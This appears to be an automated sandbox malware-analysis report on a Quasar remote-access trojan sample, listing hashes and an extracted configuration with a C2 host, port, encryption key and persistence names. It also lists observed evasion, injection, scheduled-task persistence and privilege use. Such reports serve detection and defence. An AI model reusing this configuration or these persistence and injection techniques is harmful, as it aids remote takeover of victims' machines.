Analysis
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max time kernel
150s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
02-05-2024 21:00
Behavioral task
behavioral1
Sample
R0X-Built.exe
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
R0X-Built.exe
Resource
win10v2004-20240426-en
General
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Target
R0X-Built.exe
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Size
409KB
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MD5
a0f5aa5764c4f66eee82f857f9f447b6
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SHA1
3c3a780d020cb3eb3088223443fe813abb95dccd
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SHA256
43c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3
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SHA512
458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384
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SSDEEP
6144:RMX2pJAJcC0B61K6qZ1fQ57P/EwXhb4azmosb+lfXdOIFyoOOfTA3pwF:lpyJcC+uK6qZ1G8QJjbfNOSOObA3pwF
Malware Config
Extracted
quasar
3.1.5
Slave
even-lemon.gl.at.ply.gg:33587
$Sxr-3vDee7FzoJnhqjuE3n
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encryption_key
KaNwItdY6wlv5nCN4prL
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install_name
$srr-powershell.exe
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log_directory
Logs
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reconnect_delay
1000
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startup_key
$srr-powershell
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subdirectory
Windows
Signatures
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Quasar payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/1452-1-0x0000000000FF0000-0x000000000105C000-memory.dmp family_quasar C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3040 created 624 3040 powershell.EXE winlogon.exe -
Downloads MZ/PE file
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 2 IoCs
Processes:
$srr-powershell.exeinstall.exepid process 2492 $srr-powershell.exe 4572 install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Drops file in System32 directory 8 IoCs
Processes:
OfficeClickToRun.exesvchost.exepowershell.EXEsvchost.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3040 set thread context of 1368 3040 powershell.EXE dllhost.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service wmiprvse.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeSCHTASKS.exepid process 3608 schtasks.exe 2276 schtasks.exe 2676 SCHTASKS.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 55 IoCs
Processes:
powershell.EXEOfficeClickToRun.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 02 May 2024 21:02:05 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1714683724" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={7542D38D-DBE1-4127-BF1A-223C30B21CE9}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE -
Modifies registry class 16 IoCs
Processes:
RuntimeBroker.exeRuntimeBroker.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\87fd4ce3-97f6-4e43-8 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\87fd4ce3-97f6-4e43-8 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\87fd4ce3-97f6-4e43-8 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\87fd4ce3-97f6-4e43-8 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\87fd4ce3-97f6-4e43-8 = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\87fd4ce3-97f6-4e43-8 = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\87fd4ce3-97f6-4e43-8 = "\\\\?\\Volume{B97ED4D9-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\ceffd43c2eefc052365c0b35386382f9054e37439b68bd9b93c8ea319691e98e" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\87fd4ce3-97f6-4e43-8 = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000024c0a2cad39cda01c7a349cbd39cda01c7a349cbd39cda01b70500000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000a25815a82000636566666434336332656566633035323336356330623335333836333832663930353465333734333962363862643962393363386561333139363931653938650000b20009000400efbea25815a8a25815a82e0000000000000000000000000000000000000000000000000041a57d00630065006600660064003400330063003200650065006600630030003500320033003600350063003000620033003500330038003600330038003200660039003000350034006500330037003400330039006200360038006200640039006200390033006300380065006100330031003900360039003100650039003800650000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000008d504e6c1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c63656666643433633265656663303532333635633062333533383633383266393035346533373433396236386264396239336338656133313936393165393865000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a058000000000000006c6c78646865776300000000000000005eec5d004667674ea2152aadfd915f7e2198717ecf03ef119a94da40134a5f515eec5d004667674ea2152aadfd915f7e2198717ecf03ef119a94da40134a5f51ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002d00000053002d0031002d0035002d00320031002d003500340030003400300034003600330034002d003600350031003100330039003200340037002d0032003900360037003200310030003600320035002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d9d47eb9000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\52695ab9-8cb2-444f-b RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\87fd4ce3-97f6-4e43-8 = 74c45fcbd39cda01 RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed RuntimeBroker.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.EXEdllhost.exe$srr-powershell.exepid process 3040 powershell.EXE 3040 powershell.EXE 3040 powershell.EXE 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 2492 $srr-powershell.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 2492 $srr-powershell.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 2492 $srr-powershell.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe 1368 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
R0X-Built.exe$srr-powershell.exepowershell.EXEdllhost.exesvchost.exedescription pid process Token: SeDebugPrivilege 1452 R0X-Built.exe Token: SeDebugPrivilege 2492 $srr-powershell.exe Token: SeDebugPrivilege 3040 powershell.EXE Token: SeDebugPrivilege 3040 powershell.EXE Token: SeDebugPrivilege 1368 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 1472 svchost.exe Token: SeIncreaseQuotaPrivilege 1472 svchost.exe Token: SeSecurityPrivilege 1472 svchost.exe Token: SeTakeOwnershipPrivilege 1472 svchost.exe Token: SeLoadDriverPrivilege 1472 svchost.exe Token: SeSystemtimePrivilege 1472 svchost.exe Token: SeBackupPrivilege 1472 svchost.exe Token: SeRestorePrivilege 1472 svchost.exe Token: SeShutdownPrivilege 1472 svchost.exe Token: SeSystemEnvironmentPrivilege 1472 svchost.exe Token: SeUndockPrivilege 1472 svchost.exe Token: SeManageVolumePrivilege 1472 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1472 svchost.exe Token: SeIncreaseQuotaPrivilege 1472 svchost.exe Token: SeSecurityPrivilege 1472 svchost.exe Token: SeTakeOwnershipPrivilege 1472 svchost.exe Token: SeLoadDriverPrivilege 1472 svchost.exe Token: SeSystemtimePrivilege 1472 svchost.exe Token: SeBackupPrivilege 1472 svchost.exe Token: SeRestorePrivilege 1472 svchost.exe Token: SeShutdownPrivilege 1472 svchost.exe Token: SeSystemEnvironmentPrivilege 1472 svchost.exe Token: SeUndockPrivilege 1472 svchost.exe Token: SeManageVolumePrivilege 1472 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1472 svchost.exe Token: SeIncreaseQuotaPrivilege 1472 svchost.exe Token: SeSecurityPrivilege 1472 svchost.exe Token: SeTakeOwnershipPrivilege 1472 svchost.exe Token: SeLoadDriverPrivilege 1472 svchost.exe Token: SeSystemtimePrivilege 1472 svchost.exe Token: SeBackupPrivilege 1472 svchost.exe Token: SeRestorePrivilege 1472 svchost.exe Token: SeShutdownPrivilege 1472 svchost.exe Token: SeSystemEnvironmentPrivilege 1472 svchost.exe Token: SeUndockPrivilege 1472 svchost.exe Token: SeManageVolumePrivilege 1472 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1472 svchost.exe Token: SeIncreaseQuotaPrivilege 1472 svchost.exe Token: SeSecurityPrivilege 1472 svchost.exe Token: SeTakeOwnershipPrivilege 1472 svchost.exe Token: SeLoadDriverPrivilege 1472 svchost.exe Token: SeSystemtimePrivilege 1472 svchost.exe Token: SeBackupPrivilege 1472 svchost.exe Token: SeRestorePrivilege 1472 svchost.exe Token: SeShutdownPrivilege 1472 svchost.exe Token: SeSystemEnvironmentPrivilege 1472 svchost.exe Token: SeUndockPrivilege 1472 svchost.exe Token: SeManageVolumePrivilege 1472 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1472 svchost.exe Token: SeIncreaseQuotaPrivilege 1472 svchost.exe Token: SeSecurityPrivilege 1472 svchost.exe Token: SeTakeOwnershipPrivilege 1472 svchost.exe Token: SeLoadDriverPrivilege 1472 svchost.exe Token: SeSystemtimePrivilege 1472 svchost.exe Token: SeBackupPrivilege 1472 svchost.exe Token: SeRestorePrivilege 1472 svchost.exe Token: SeShutdownPrivilege 1472 svchost.exe Token: SeSystemEnvironmentPrivilege 1472 svchost.exe Token: SeUndockPrivilege 1472 svchost.exe -
Suspicious use of UnmapMainImage 2 IoCs
Processes:
RuntimeBroker.exeExplorer.EXEpid process 4000 RuntimeBroker.exe 3500 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
